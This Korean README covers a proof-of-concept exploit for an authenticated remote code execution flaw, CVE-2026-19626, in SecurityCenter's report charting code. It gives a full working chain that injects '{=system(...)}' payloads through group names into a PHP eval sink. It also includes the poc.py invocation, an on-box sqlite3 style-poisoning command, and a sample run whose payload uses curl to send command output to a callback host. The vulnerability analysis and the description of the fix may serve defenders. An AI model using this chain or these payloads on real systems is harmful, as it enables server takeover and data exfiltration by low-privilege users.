
CVE-2026-19626에 대한 개념 증명(PoC) 익스플로잇으로, SecurityCenter 보고서 생성 기능의 인증된 원격 코드 실행(RCE) 취약점을 다룹니다. 그룹 이름 삽입과 PHP eval을 통한 비관리자(non-admin) 공격 체인을 시연합니다.

상태: 확인됨 — 순수 원격, 비관리자, REST 전용 (6.7.2-14.el9 랩, 2026-08-21).
무기화된 공격 체인 (poc.py가 수행하는 작업):
POST /rest/group 요청에 name: "{=system('<cmd>')}" 포함 — 중괄호/따옴표가 그대로 허용됨 (그룹 컨트롤러에는 문자셋 검사가 없음)POST /rest/reportDefinition — PDF 보고서, pieChart 컴포넌트 하나, user/sumgroup 쿼리, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams()는 {=...} eval 루프가 실행되기 전에 자리 표시자를 그룹 이름으로 치환합니다 — 페이로드가 포맷 문자열 안에 들어가고 가 tns 권한으로 실행됩니다{label}eval("$expr = system('<cmd>');")system()의 반환 값이 라벨로 다시 치환됩니다 — 명령 출력이 완성된 보고서의 파이 범례에 렌더링됩니다 (외부 유출 채널)이 정확한 체인으로 생성된 마커 /tmp/pwn_label (DB 접근 없음, 스타일 쓰기 없음, 파일 업로드 없음). 멤버가 0명인 그룹도 섹터를 생성한다는 점에 유의하세요 — sumgroup 집계에 포함되기 때문입니다.
또한 직접 호출과 전체 파이프라인 스타일 오염(아래 기록 참조)으로 추가 확인되었습니다: 배포된 substituteParams()에 eval 싱크가 살아 있으며, 오염된 기본 legendFormat 스타일 속성은 비관리자 소유 보고서를 포함한 모든 파이 차트 렌더링에서 작동합니다.
전달 제약 사항(순수 REST PoC가 멈추는 이유): 보고서 정의의 인라인 style 객체 — PoC가 legendFormat/labelFormat을 심는 곳 — 는 xmlDefinition에 그대로 저장되지만 렌더링 시 폐기됩니다: getReport(CONTEXT_RENDER)가 정규화된 테이블에서 컴포넌트를 다시 구성하고 $component['style']을 StyleLib::getComponentStyle()로 덮어씁니다(styleID로 가져옴). 스타일 가져오기 컨트롤러는 존재하지만(Styles::add, 업로드된 XML 파일을 xmlToStyles로 파싱하며, 관리자 전용 검사가 주석 처리되어 있음) 노출된 경로가 없습니다 — 12가지 동사/경로 조합(style, styles, style::add, style/import × POST/PUT/PATCH, 유효한 스테이징 파일명 사용) 모두 오류 10을 반환하며, UI 번들에는 스타일 엔드포인트 호출이 전혀 없습니다. 따라서 순수 원격 전달에는 6.7.2가 노출하지 않는 스타일 쓰기 경로가 필요합니다. 렌더링된 체인은 스타일 속성을 직접 통해 시연되었습니다.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 및 이전 버전):
substituteParams()의 eval("\$expr = {$exprs[1]};"). 파이 차트 범례/라벨 포맷 문자열($style['legendFormat'] / $style['labelFormat'], 4952/4983행)은 {=<arithmetic>} 자리 표시자를 지원합니다(예: 기본 제공 {={sector}+1}). 표현식 본문은 사용자가 제공한 보고서 정의 콘텐츠이므로 → 임의 PHP가 실행됩니다.labelStyling을 사용한 eval("\$sectorLabels->setBackground($labelStyle);"). 6.8.0의 가드는 if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default였습니다 — ;만 거부하며, system('cmd')는 통과합니다.circleShape(10)과 같은 막대 모양 사양에 대한 if (is_callable($matches['name'])) 게이트. system(id)는 게이트를 통과합니다. 6.9.0 수정 주석은 이를 명확히 밝힙니다: "is_callable()은 안전한 게이트가 아닙니다 (is_callable("system") === true)".보고서 정의 권한이 있는 모든 조직 사용자는 렌더링 시(generateReport.php / Jobd) 세 가지 모두에 도달할 수 있습니다. ReportDefinitions::launch()는 ROLE_ADMIN을 거부합니다 — 이 버그 클래스는 명시적으로 비관리자 대상입니다.
명령 출력이 라벨 텍스트로 다시 치환되므로, 렌더링된 보고서가 외부 유출 채널이 됩니다.
eval()이 제거되었습니다. {=...} 표현식은 /^[0-9.\s()+\-*\/]+/로 제한되고 토크나이저로 평가됩니다. resolveLabelStyleArgs()는 라벨 스타일을 인자 목록으로 파싱합니다. isAllowedBarShapeFunction()은 숫자 전용 매개변수를 가진 허용 목록(allowlist)을 적용합니다.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
그룹 이름 라벨 주입(위의 원격 체인): 페이로드 이름을 가진 그룹을 생성하고, sumgroup 보고서를 빌드하고, 실행한 뒤 렌더링 결과를 폴링합니다 — 명령 출력이 완성된 보고서의 파이 범례에 나타납니다. 페이로드 제약: } 문자는 사용할 수 없습니다({=...} 정규식이 첫 번째 중괄호까지 비탐욕적으로 매칭됨). 명령 출력은 라벨 치환을 통해 전달되므로 보고서에서 읽거나 마커/타이밍으로 검증하세요.
style.legendFormat/labelFormat는 xmlDefinition에 그대로 저장되지만 렌더링 시 폐기됩니다 — 컴포넌트는 styleID를 통해 Style 테이블에서 스타일을 다시 구성합니다(ReportDefinitionLib 렌더 컨텍스트가 $component['style']을 StyleLib::getComponentStyle()로 덮어씀).Styles::add, 관리자 검사 주석 처리됨, 업로드된 XML을 xmlToStyles로 파싱) 라우트가 연결되어 있지 않습니다 — 12가지 동사/경로 조합(하위 리소스 /rest/style/{id} 포함) 모두 오류 10을 반환하며, UI 번들에는 스타일 엔드포인트 호출이 전혀 없습니다.{label} 치환이 eval 루프보다 먼저 수행되므로, 공격자가 영향을 줄 수 있는 모든 라벨(여기서는 그룹 이름, 사용자 프로필 필드와 스캔된 자산의 호스트 이름도 동일한 형태)이 페이로드를 전달합니다.# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0